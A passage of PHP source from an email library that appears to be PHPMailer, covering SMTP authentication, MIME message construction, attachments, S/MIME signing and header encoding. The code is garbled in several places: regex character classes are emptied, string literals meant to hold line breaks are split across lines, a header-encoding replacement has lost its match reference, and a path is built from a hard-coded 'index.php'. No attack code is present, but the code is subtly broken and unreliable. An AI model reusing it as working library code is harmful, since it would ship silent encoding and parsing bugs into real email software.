$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
}catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
$this->smtp->quit();
}
}
}
$this->smtp->close();
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
public function smtpClose()
{
if (is_a($this->smtp,'SMTP')) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
public function setLanguage($langcode = 'en',$lang_path = '')
{
$renamed_langcodes = array(
'br'=>'pt_br',
'cz'=>'cs',
'dk'=>'da',
'no'=>'nb',
'se'=>'sv',
'sr'=>'rs'
);
if (isset($renamed_langcodes[$langcode])) {
$langcode = $renamed_langcodes[$langcode];
}
$PHPMAILER_LANG = array(
'authenticate'=>'SMTP Error: Could not authenticate.',
'connect_host'=>'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted'=>'SMTP Error: data not accepted.',
'empty_message'=>'Message body empty',
'encoding'=>'Unknown encoding: ',
'execute'=>'Could not execute: ',
'file_access'=>'Could not access file: ',
'file_open'=>'File Error: Could not open file: ',
'from_failed'=>'The following From address failed: ',
'instantiate'=>'Could not instantiate mail function.',
'invalid_address'=>'Invalid address: ',
'mailer_not_supported'=>' mailer is not supported.',
'provide_address'=>'You must provide at least one recipient email address.',
'recipients_failed'=>'SMTP Error: The following recipients failed: ',
'signing'=>'Signing Error: ',
'smtp_connect_failed'=>'SMTP connect() failed.',
'smtp_error'=>'SMTP server error: ',
'variable_set'=>'Cannot set or reset variable: ',
'extension_missing'=>'Extension missing: '
);
if (empty($lang_path)) {
$lang_path = dirname('index.php').DIRECTORY_SEPARATOR .'language'.DIRECTORY_SEPARATOR;
}
if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/',$langcode)) {
$langcode = 'en';
}
$foundlang = true;
$lang_file = $lang_path .'phpmailer.lang-'.$langcode .'.php';
if ($langcode != 'en') {
if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
$foundlang = false;
}else {
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang;
}
public function getTranslations()
{
return $this->language;
}
public function addrAppend($type,$addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type .': '.implode(', ',$addresses) .$this->LE;
}
public function addrFormat($addr)
{
if (empty($addr[1])) {
return $this->secureHeader($addr[0]);
}else {
return $this->encodeHeader($this->secureHeader($addr[1]),'phrase') .' <'.$this->secureHeader(
$addr[0]
) .'>';
}
}
public function wrapText($message,$length,$qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s',$this->LE);
}else {
$soft_break = $this->LE;
}
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
if (substr($message,-$lelen) == $this->LE) {
$message = substr($message,0,-$lelen);
}
$lines = explode($this->LE,$message);
$message = '';
foreach ($lines as $line) {
$words = explode(' ',$line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode and (strlen($word) >$length)) {
$space_left = $length -strlen($buf) -$crlflen;
if (!$firstword) {
if ($space_left >20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word,$len);
}elseif (substr($word,$len -1,1) == '=') {
$len--;
}elseif (substr($word,$len -2,1) == '=') {
$len -= 2;
}
$part = substr($word,0,$len);
$word = substr($word,$len);
$buf .= ' '.$part;
$message .= $buf .sprintf('=%s',self::CRLF);
}else {
$message .= $buf .$soft_break;
}
$buf = '';
}
while (strlen($word) >0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word,$len);
}elseif (substr($word,$len -1,1) == '=') {
$len--;
}elseif (substr($word,$len -2,1) == '=') {
$len -= 2;
}
$part = substr($word,0,$len);
$word = substr($word,$len);
if (strlen($word) >0) {
$message .= $part .sprintf('=%s',self::CRLF);
}else {
$buf = $part;
}
}
}else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if (strlen($buf) >$length and $buf_o != '') {
$message .= $buf_o .$soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf .self::CRLF;
}
return $message;
}
public function utf8CharBoundary($encodedText,$maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText,$maxLength -$lookBack,$lookBack);
$encodedCharPos = strpos($lastChunk,'=');
if (false !== $encodedCharPos) {
$hex = substr($encodedText,$maxLength -$lookBack +$encodedCharPos +1,2);
$dec = hexdec($hex);
if ($dec <128) {
if ($encodedCharPos >0) {
$maxLength = $maxLength -($lookBack -$encodedCharPos);
}
$foundSplitPos = true;
}elseif ($dec >= 192) {
$maxLength = $maxLength -($lookBack -$encodedCharPos);
$foundSplitPos = true;
}elseif ($dec <192) {
$lookBack += 3;
}
}else {
$foundSplitPos = true;
}
}
return $maxLength;
}
public function setWordWrap()
{
if ($this->WordWrap <1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody,$this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body,$this->WordWrap);
break;
}
}
public function createHeader()
{
$result = '';
$result .= $this->headerLine('Date',$this->MessageDate == ''?self::rfcDate() : $this->MessageDate);
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
}else {
if (count($this->to) >0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To',$this->to);
}
}elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To','undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From',array(array(trim($this->From),$this->FromName)));
if (count($this->cc) >0) {
$result .= $this->addrAppend('Cc',$this->cc);
}
if ((
$this->Mailer == 'sendmail'or $this->Mailer == 'qmail'or $this->Mailer == 'mail'
)
and count($this->bcc) >0
) {
$result .= $this->addrAppend('Bcc',$this->bcc);
}
if (count($this->ReplyTo) >0) {
$result .= $this->addrAppend('Reply-To',$this->ReplyTo);
}
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject',$this->encodeHeader($this->secureHeader($this->Subject)));
}
if (''!= $this->MessageID and preg_match('/^<.*@.*>$/',$this->MessageID)) {
$this->lastMessageID = $this->MessageID;
}else {
$this->lastMessageID = sprintf('<%s@%s>',$this->uniqueid,$this->serverHostname());
}
$result .= $this->headerLine('Message-ID',$this->lastMessageID);
if (!is_null($this->Priority)) {
$result .= $this->headerLine('X-Priority',$this->Priority);
}
if ($this->XMailer == '') {
$result .= $this->headerLine(
'X-Mailer',
'PHPMailer '.$this->Version .' (https://github.com/PHPMailer/PHPMailer)'
);
}else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer',$myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To','<'.$this->ConfirmReadingTo .'>');
}
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version','1.0');
$result .= $this->getMailMIME();
}
return $result;
}
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type','multipart/related;');
$result .= $this->textLine(" boundary=\"".$this->boundary[1] .'"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type','multipart/mixed;');
$result .= $this->textLine(" boundary=\"".$this->boundary[1] .'"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type','multipart/alternative;');
$result .= $this->textLine(" boundary=\"".$this->boundary[1] .'"');
break;
default:
$result .= $this->textLine('Content-Type: '.$this->ContentType .'; charset='.$this->CharSet);
$ismultipart = false;
break;
}
if ($this->Encoding != '7bit') {
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding','8bit');
}
}else {
$result .= $this->headerLine('Content-Transfer-Encoding',$this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader .$this->mailHeader,"
") .self::CRLF .self::CRLF .$this->MIMEBody;
}
protected function generateId() {
return md5(uniqid(time()));
}
public function createBody()
{
$body = '';
$this->uniqueid = $this->generateId();
$this->boundary[1] = 'b1_'.$this->uniqueid;
$this->boundary[2] = 'b2_'.$this->uniqueid;
$this->boundary[3] = 'b3_'.$this->uniqueid;
if ($this->sign_key_file) {
$body .= $this->getMailMIME() .$this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
if ($bodyEncoding == '8bit'and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
$bodyCharSet = 'us-ascii';
}
if ('base64'!= $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
$bodyEncoding = 'quoted-printable';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
if ($altBodyEncoding == '8bit'and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
$altBodyCharSet = 'us-ascii';
}
if ('base64'!= $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = 'quoted-printable';
}
$mimepre = "This is a multi-part message in MIME format.".$this->LE .$this->LE;
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->attachAll('inline',$this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->attachAll('attachment',$this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--'.$this->boundary[1]);
$body .= $this->headerLine('Content-Type','multipart/related;');
$body .= $this->textLine(" boundary=\"".$this->boundary[2] .'"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->attachAll('inline',$this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment',$this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
$body .= $this->encodeString($this->AltBody,$altBodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->getBoundary($this->boundary[1],$bodyCharSet,'text/html',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1],'','text/calendar; method=REQUEST','');
$body .= $this->encodeString($this->Ical,$this->Encoding);
$body .= $this->LE .$this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
$body .= $this->encodeString($this->AltBody,$altBodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->textLine('--'.$this->boundary[1]);
$body .= $this->headerLine('Content-Type','multipart/related;');
$body .= $this->textLine(" boundary=\"".$this->boundary[2] .'"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->attachAll('inline',$this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--'.$this->boundary[1]);
$body .= $this->headerLine('Content-Type','multipart/alternative;');
$body .= $this->textLine(" boundary=\"".$this->boundary[2] .'"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
$body .= $this->encodeString($this->AltBody,$altBodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment',$this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--'.$this->boundary[1]);
$body .= $this->headerLine('Content-Type','multipart/alternative;');
$body .= $this->textLine(" boundary=\"".$this->boundary[2] .'"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
$body .= $this->encodeString($this->AltBody,$altBodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->textLine('--'.$this->boundary[2]);
$body .= $this->headerLine('Content-Type','multipart/related;');
$body .= $this->textLine(" boundary=\"".$this->boundary[3] .'"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3],$bodyCharSet,'text/html',$bodyEncoding);
$body .= $this->encodeString($this->Body,$bodyEncoding);
$body .= $this->LE .$this->LE;
$body .= $this->attachAll('inline',$this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment',$this->boundary[1]);
break;
default:
$this->Encoding = $bodyEncoding;
$body .= $this->encodeString($this->Body,$this->Encoding);
break;
}
if ($this->isError()) {
$body = '';
}elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('extension_missing') .'openssl');
}
$file = tempnam(sys_get_temp_dir(),'mail');
if (false === file_put_contents($file,$body)) {
throw new phpmailerException($this->lang('signing') .' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(),'signed');
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://'.realpath($this->sign_cert_file),
array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),
null
);
}else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://'.realpath($this->sign_cert_file),
array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),
null,
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
if ($sign) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
$parts = explode("
",$body,2);
$this->MIMEHeader .= $parts[0] .$this->LE .$this->LE;
$body = $parts[1];
}else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') .openssl_error_string());
}
}catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
protected function getBoundary($boundary,$charSet,$contentType,$encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--'.$boundary);
$result .= sprintf('Content-Type: %s; charset=%s',$contentType,$charSet);
$result .= $this->LE;
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding',$encoding);
}
$result .= $this->LE;
return $result;
}
protected function endBoundary($boundary)
{
return $this->LE .'--'.$boundary .'--'.$this->LE;
}
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_',$type);
if ($this->message_type == '') {
$this->message_type = 'plain';
}
}
public function headerLine($name,$value)
{
return $name .': '.$value .$this->LE;
}
public function textLine($value)
{
return $value .$this->LE;
}
public function addAttachment($path,$name = '',$encoding = 'base64',$type = '',$disposition = 'attachment')
{
try {
if (!self::isPermittedPath($path) or !@is_file($path)) {
throw new phpmailerException($this->lang('file_access') .$path,self::STOP_CONTINUE);
}
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 =>$path,
1 =>$filename,
2 =>$name,
3 =>$encoding,
4 =>$type,
5 =>false,
6 =>$disposition,
7 =>0
);
}catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
public function getAttachments()
{
return $this->attachment;
}
protected function attachAll($disposition_type,$boundary)
{
$mime = array();
$cidUniq = array();
$incl = array();
foreach ($this->attachment as $attachment) {
if ($attachment[6] == $disposition_type) {
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
}else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash,$incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline'&&array_key_exists($cid,$cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s',$boundary,$this->LE);
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
}else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
$this->LE
);
}
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s',$encoding,$this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s',$cid,$this->LE);
}
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/',$encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE .$this->LE
);
}else {
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE .$this->LE
);
}else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
$this->LE .$this->LE
);
}
}
}else {
$mime[] = $this->LE;
}
if ($bString) {
$mime[] = $this->encodeString($string,$encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE .$this->LE;
}else {
$mime[] = $this->encodeFile($path,$encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE .$this->LE;
}
}
}
$mime[] = sprintf('--%s--%s',$boundary,$this->LE);
return implode('',$mime);
}
protected function encodeFile($path,$encoding = 'base64')
{
try {
if (!self::isPermittedPath($path) or !file_exists($path)) {
throw new phpmailerException($this->lang('file_open') .$path,self::STOP_CONTINUE);
}
$magic_quotes = false;
if( version_compare(PHP_VERSION,'7.4.0','<') ) {
$magic_quotes = get_magic_quotes_runtime();
}
if ($magic_quotes) {
if (version_compare(PHP_VERSION,'5.3.0','<')) {
set_magic_quotes_runtime(false);
}else {
ini_set('magic_quotes_runtime',false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer,$encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION,'5.3.0','<')) {
set_magic_quotes_runtime($magic_quotes);
}else {
ini_set('magic_quotes_runtime',$magic_quotes);
}
}
return $file_buffer;
}catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
public function encodeString($str,$encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str),76,$this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
if (substr($encoded,-(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') .$encoding);
break;
}
return $encoded;
}
public function encodeHeader($str,$position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/',$str)) {
$encoded = addcslashes($str,"..\"");
if (($str == $encoded) &&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)) {
return ($encoded);
}else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^ !#-[]-~]/',$str,$matches);
break;
case 'comment':
$matchcount = preg_match_all('/[()"]/',$str,$matches);
case 'text':
default:
$matchcount += preg_match_all('/[---]/',$str,$matches);
break;
}
if ($matchcount == 0) {
return ($str);
}
$maxlen = 75 -7 -strlen($this->CharSet);
if ($matchcount >strlen($str) / 3) {
$encoding = 'B';
if (function_exists('mb_strlen') &&$this->hasMultiBytes($str)) {
$encoded = $this->base64EncodeWrapMB($str,"
");
}else {
$encoded = base64_encode($str);
$maxlen -= $maxlen %4;
$encoded = trim(chunk_split($encoded,$maxlen,"
"));
}
}else {
$encoding = 'Q';
$encoded = $this->encodeQ($str,$position);
$encoded = $this->wrapText($encoded,$maxlen,true);
$encoded = str_replace('='.self::CRLF,"
",trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m',' =?'.$this->CharSet ."?$encoding??=",$encoded);
$encoded = trim(str_replace("
",$this->LE,$encoded));
return $encoded;
}
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) >mb_strlen($str,$this->CharSet));
}else {
return false;
}
}
public function has8bitChars($text)
{
return (boolean)preg_match('/[-]/',$text);
}
public function base64EncodeWrapMB($str,$linebreak = null)
{
$start = '=?'.$this->CharSet .'?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str,$this->CharSet);
$length = 75 -strlen($start) -strlen($end);
$ratio = $mb_length / strlen($str);
$avgLength = floor($length * $ratio * .75);
for ($i = 0;$i <$mb_length;$i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength -$lookBack;
$chunk = mb_substr($str,$i,$offset,$this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}while (strlen($chunk) >$length);
$encoded .= $chunk .$linebreak;
}
$encoded = substr($encoded,0,-strlen($linebreak));
return $encoded;
}
public function encodeQP($string,$line_max = 76)
{
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
$string = str_replace(
array('%20','%0D%0A.','%0D%0A','%'),
array(' ',"
=2E","
",'='),
rawurlencode($string)
);
return preg_replace('/[^
]{'.($line_max -3) .'}[^=
]{2}/',"$0=
",$string);
}
public function encodeQPphp(
$string,
$line_max = 76,
$space_conv = false
) {
return $this->encodeQP($string,$line_max);
}
public function encodeQ($str,$position = 'text')
{
$pattern = '';
$encoded = str_replace(array("
","
"),'',$str);
switch (strtolower($position)) {
case 'phrase':
$pattern = '^A-Za-z0-9!*+\/ -';
break;
case 'comment':
$pattern = '\(\)"';
case 'text':
default:
$pattern = '- -=?_-'.$pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/",$encoded,$matches)) {
$eqkey = array_search('=',$matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0],'=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char,'='.sprintf('%02X',ord($char)),$encoded);
}
}
return str_replace(' ','_',$encoded);
}
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
if ($type == '') {
$type = self::filenameToType($filename);
}
$this->attachment[] = array(
0 =>$string,
1 =>$filename,
2 =>basename($filename),
3 =>$encoding,
4 =>$type,
5 =>true,
6 =>$disposition,
7 =>0
);
}
public function addEmbeddedImage($path,$cid,$name = '',$encoding = 'base64',$type = '',$disposition = 'inline')
{
if (!self::isPermittedPath($path) or !@is_file($path)) {
$this->setError($this->lang('file_access') .$path);
return false;
}
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 =>$path,
1 =>$filename,
2 =>$name,
3 =>$encoding,
4 =>$type,
5 =>false,
6 =>$disposition,
7 =>$cid
);
return true;
}
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
if ($type == ''and !empty($name)) {
$type = self::filenameToType($name);
}
$this->attachment[] = array(
0 =>$string,
1 =>$name,
2 =>$name,
3 =>$encoding,
4 =>$type,
5 =>true,
6 =>$disposition,
7 =>$cid
);
return true;
}
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
public function alternativeExists()
{
return !empty($this->AltBody);
}
public function clearQueuedAddresses($kind)
{
$RecipientsQueue = $this->RecipientsQueue;
foreach ($RecipientsQueue as $address =>$params) {
if ($params[0] == $kind) {
unset($this->RecipientsQueue[$address]);
}
}
}
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
$this->clearQueuedAddresses('to');
}
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
$this->clearQueuedAddresses('cc');
}
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
$this->clearQueuedAddresses('bcc');
}
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
public function clearAttachments()
{
$this->attachment = array();
}
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp'and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') .$lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' Detail: '.$lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' SMTP code: '.$lasterror['smtp_code'];
}
if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' Additional SMTP info: '.$lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
public static function rfcDate()
{
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
}elseif (isset($_SERVER) and array_key_exists('SERVER_NAME',$_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
}elseif (function_exists('gethostname') &&gethostname() !== false) {
$result = gethostname();
}elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
protected function lang($key)
{
if (count($this->language) <1) {
$this->setLanguage('en');
}
if (array_key_exists($key,$this->language)) {
if ($key == 'smtp_connect_failed') {
return $this->language[$key] .' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
}else {
return $key;
}
}
public function isError()
{
return ($this->error_count >0);
}
public function fixEOL($str)
{
$nstr = str_replace(array("
","
"),"
",$str);
if ($this->LE !== "
") {
$nstr = str_replace("
",$this->LE,$nstr);
}
return $nstr;
}
public function addCustomHeader($name,$value = null)
{
if ($value === null) {
$this->CustomHeader[] = explode(':',$name,2);
}else {
$this->CustomHeader[] = array($name,$value);
}
}
public function getCustomHeaders()
{
return $this->CustomHeader;
}
public function msgHTML($message,$basedir = '',$advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui',$message,$images);
if (array_key_exists(2,$images)) {
if (strlen($basedir) >1 &&substr($basedir,-1) != '/') {
$basedir .= '/';
}
foreach ($images[2] as $imgindex =>$url) {
if (preg_match('#^data:(image[^;,]*)(;base64)?,#',$url,$match)) {
$data = substr($url,strpos($url,','));
if ($match[2]) {
$data = base64_decode($data);
}else {
$data = rawurldecode($data);
}
$cid = md5($url) .'@phpmailer.0';
if ($this->addStringEmbeddedImage($data,$cid,'embed'.$imgindex,'base64',$match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] .'="cid:'.$cid .'"',
$message
);
}
continue;
}
if (
!empty($basedir)
&&(strpos($url,'..') === false)
&&substr($url,0,4) !== 'cid:'
&&!preg_match('#^[a-z][a-z0-9+.-]*:?//#i',$url)
) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) .'@phpmailer.0';
if (strlen($directory) >1 &&substr($directory,-1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
$basedir .$directory .$filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename,PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/'.$images[1][$imgindex] .'=["\']'.preg_quote($url,'/') .'["\']/Ui',
$images[1][$imgindex] .'="cid:'.$cid .'"',
$message
);
}
}
}
}
$this->isHTML(true);
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message,$advanced));
